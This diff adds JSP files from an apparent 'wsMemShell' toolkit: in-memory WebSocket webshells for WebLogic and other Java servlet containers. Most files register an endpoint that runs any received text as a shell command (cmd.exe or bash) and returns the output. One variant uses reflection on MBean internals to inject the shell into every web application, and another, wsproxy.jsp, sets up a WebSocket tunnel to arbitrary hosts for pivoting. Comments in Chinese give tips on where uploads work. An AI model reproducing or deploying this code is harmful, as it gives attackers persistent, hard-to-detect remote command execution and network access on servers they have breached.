+<%@ page import="java.lang.reflect.Field" %>
+<%@ page import="com.sun.jmx.mbeanserver.Repository" %>
+<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
+<%@ page import="java.util.Set" %>
+<%@ page import="javax.management.ObjectName" %>
+<%@ page import="java.util.HashSet" %>
+<%@ page import="weblogic.servlet.internal.WebAppServletContext" %>
+
+<%!
+    public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
+        private Session session;
+        @Override
+        public void onMessage(String s) {
+            try {
+                Process process;
+                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+                if (bool) {
+                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
+                } else {
+                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
+                }
+                InputStream inputStream = process.getInputStream();
+                StringBuilder stringBuilder = new StringBuilder();
+                int i;
+                while ((i = inputStream.read()) != -1)
+                    stringBuilder.append((char)i);
+                inputStream.close();
+                process.waitFor();
+                session.getBasicRemote().sendText(stringBuilder.toString());
+            } catch (Exception exception) {
+                exception.printStackTrace();
+            }
+        }
+        @Override
+        public void onOpen(final Session session, EndpointConfig config) {
+            this.session = session;
+            session.addMessageHandler(this);
+        }
+    }
+%>
+<%
+    // 遍历所有 container 进行添加
+    String path = request.getParameter("path");
+    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build();
+    MBeanServer server = ManagementFactory.getPlatformMBeanServer();
+    Field field = server.getClass().getDeclaredField("wrappedMBeanServer");
+    field.setAccessible(true);
+    Object obj = field.get(server);
+    field = obj.getClass().getDeclaredField("mbsInterceptor");
+    field.setAccessible(true);
+    obj = field.get(obj);
+    field = obj.getClass().getDeclaredField("repository");
+    field.setAccessible(true);
+    Repository repository = (Repository)field.get(obj);
+    Set<NamedObject> namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null);
+    for(NamedObject namedObject : namedObjects){
+        field = namedObject.getObject().getClass().getDeclaredField("managedResource");
+        field.setAccessible(true);
+        obj = field.get(namedObject.getObject());
+        field = obj.getClass().getSuperclass().getDeclaredField("children");
+        field.setAccessible(true);
+        HashSet set = (HashSet)field.get(obj);
+        for(Object o : set){
+            if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){
+                field = o.getClass().getDeclaredField("context");
+                field.setAccessible(true);
+                WebAppServletContext servletContext = (WebAppServletContext) field.get(o);
+                TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
+                try {
+                    container.register(configEndpoint);
+                    out.println("add success,path: " + servletContext.getContextPath()+path);
+                } catch (Exception e) {
+
+                }
+            }
+        }
+    }
+%>

wsMemShell/weblogic/wscmd.jsp

@@ -0,0 +1,54 @@
+<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
+<%@ page import="javax.websocket.server.ServerContainer" %>
+<%@ page import="javax.websocket.*" %>
+<%@ page import="java.io.*" %>
+<%@ page import="org.glassfish.tyrus.server.TyrusServerContainer" %>
+
+<%!
+    public static class CmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
+        private Session session;
+        @Override
+        public void onMessage(String s) {
+            try {
+                Process process;
+                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+                if (bool) {
+                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
+                } else {
+                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
+                }
+                InputStream inputStream = process.getInputStream();
+                StringBuilder stringBuilder = new StringBuilder();
+                int i;
+                while ((i = inputStream.read()) != -1)
+                    stringBuilder.append((char)i);
+                inputStream.close();
+                process.waitFor();
+                session.getBasicRemote().sendText(stringBuilder.toString());
+            } catch (Exception exception) {
+                exception.printStackTrace();
+            }
+        }
+        @Override
+        public void onOpen(final Session session, EndpointConfig config) {
+            this.session = session;
+            session.addMessageHandler(this);
+        }
+    }
+%>
+<%
+
+    // Weblogic 在获取 ServerContainer 时有些问题，例如在 bea_wls_internal 目录下 servletContext 获取不到 ServerContainer，也就是此jsp传到 bea_wls_internal目录是无效的，但自己部署的war包路径有效，目前还不知道为什么
+    
+    // 可以使用 wsAddAllContainer.jsp 遍历所有的 Container 进行添加，这样 wsAddAllContainer.jsp 上传到bea_wls_internal目录也是可以的
+    
+    String path = request.getParameter("path");
+    ServletContext servletContext = request.getSession().getServletContext();
+    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(CmdEndpoint.class, path).build();
+    TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
+    try {
+        container.register(configEndpoint);
+    } catch (Exception e) {
+        e.printStackTrace();
+    }
+%>

wsMemShell/wscmd.jsp

@@ -0,0 +1,52 @@
+<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
+<%@ page import="javax.websocket.server.ServerContainer" %>
+<%@ page import="javax.websocket.*" %>
+<%@ page import="java.io.*" %>
+
+<%!
+    public static class C extends Endpoint implements MessageHandler.Whole<String> {
+        private Session session;
+        @Override
+        public void onMessage(String s) {
+            try {
+                Process process;
+                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
+                if (bool) {
+                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
+                } else {
+                    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
+                }
+                InputStream inputStream = process.getInputStream();
+                StringBuilder stringBuilder = new StringBuilder();
+                int i;
+                while ((i = inputStream.read()) != -1)
+                    stringBuilder.append((char)i);
+                inputStream.close();
+                process.waitFor();
+                session.getBasicRemote().sendText(stringBuilder.toString());
+            } catch (Exception exception) {
+                exception.printStackTrace();
+            }
+        }
+        @Override
+        public void onOpen(final Session session, EndpointConfig config) {
+            this.session = session;
+            session.addMessageHandler(this);
+        }
+    }
+%>
+<%
+    String path = request.getParameter("path");
+    ServletContext servletContext = request.getSession().getServletContext();
+    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
+    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
+    try {
+        if (servletContext.getAttribute(path) == null){
+            container.addEndpoint(configEndpoint);
+            servletContext.setAttribute(path,path);
+        }
+        out.println("success, connect url path: " + servletContext.getContextPath() + path);
+    } catch (Exception e) {
+        out.println(e.toString());
+    }
+%>

wsMemShell/wsproxy.jsp

@@ -0,0 +1,120 @@
+<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
+<%@ page import="javax.websocket.server.ServerContainer" %>
+<%@ page import="javax.websocket.*" %>
+<%@ page import="java.io.*" %>
+<%@ page import="java.nio.channels.AsynchronousSocketChannel" %>
+<%@ page import="java.util.HashMap" %>
+<%@ page import="java.nio.ByteBuffer" %>
+<%@ page import="java.nio.channels.CompletionHandler" %>
+<%@ page import="java.net.InetSocketAddress" %>
+<%@ page import="java.util.concurrent.TimeUnit" %>
+<%@ page import="java.util.concurrent.Future" %>
+<%!
+    public static class ProxyEndpoint extends Endpoint {
+        long i =0;
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        HashMap<String,AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
+        static class Attach {
+            public AsynchronousSocketChannel client;
+            public Session channel;
+        }
+        void readFromServer(Session channel,AsynchronousSocketChannel client){
+            final ByteBuffer buffer = ByteBuffer.allocate(50000);
+            Attach attach = new Attach();
+            attach.client = client;
+            attach.channel = channel;
+            client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
+                @Override
+                public void completed(Integer result, final Attach scAttachment) {
+                    buffer.clear();
+                    try {
+                        if(buffer.hasRemaining() && result>=0)
+                        {
+                            byte[] arr = new byte[result];
+                            ByteBuffer b = buffer.get(arr,0,result);
+                            baos.write(arr,0,result);
+                            ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
+                            if (scAttachment.channel.isOpen()) {
+                                scAttachment.channel.getBasicRemote().sendBinary(q);
+                            }
+                            baos = new ByteArrayOutputStream();
+                            readFromServer(scAttachment.channel,scAttachment.client);
+                        }else{
+                            if(result > 0)
+                            {
+                                byte[] arr = new byte[result];
+                                ByteBuffer b = buffer.get(arr,0,result);
+                                baos.write(arr,0,result);
+                                readFromServer(scAttachment.channel,scAttachment.client);
+                            }
+                        }
+                    } catch (Exception ignored) {}
+                }
+                @Override
+                public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
+            });
+        }
+        void process(ByteBuffer z,Session channel)
+        {
+            try{
+                if(i>1)
+                {
+                    AsynchronousSocketChannel client = map.get(channel.getId());
+                    client.write(z).get();
+                    z.flip();
+                    z.clear();
+                }
+                else if(i==1)
+                {
+                    String values = new String(z.array());
+                    String[] array = values.split(" ");
+                    String[] addrarray = array[1].split(":");
+                    AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
+                    int po = Integer.parseInt(addrarray[1]);
+                    InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
+                    Future<Void> future = client.connect(hostAddress);
+                    try {
+                        future.get(10, TimeUnit.SECONDS);
+                    } catch(Exception ignored){
+                        channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
+                        return;
+                    }
+                    map.put(channel.getId(), client);
+                    readFromServer(channel,client);
+                    channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
+                }
+            }catch(Exception ignored){
+            }
+        }
+        @Override
+        public void onOpen(final Session session, EndpointConfig config) {
+            i=0;
+            session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
+                @Override
+                public void onMessage(ByteBuffer message) {
+                    try {
+                        message.clear();
+                        i++;
+                        process(message,session);
+                    } catch (Exception ignored) {
+                    }
+                }
+            });
+        }
+    }
+%>
+<%
+    String path = request.getParameter("path");
+    ServletContext servletContext = request.getSession().getServletContext();
+    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(ProxyEndpoint.class, path).build();
+    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
+    try {
+        if (servletContext.getAttribute(path) == null){
+            container.addEndpoint(configEndpoint);
+            servletContext.setAttribute(path,path);
+        }
+        out.println("success, connect url path: " + servletContext.getContextPath() + path);
+    } catch (Exception e) {
+        out.println(e.toString());
+    }
+%>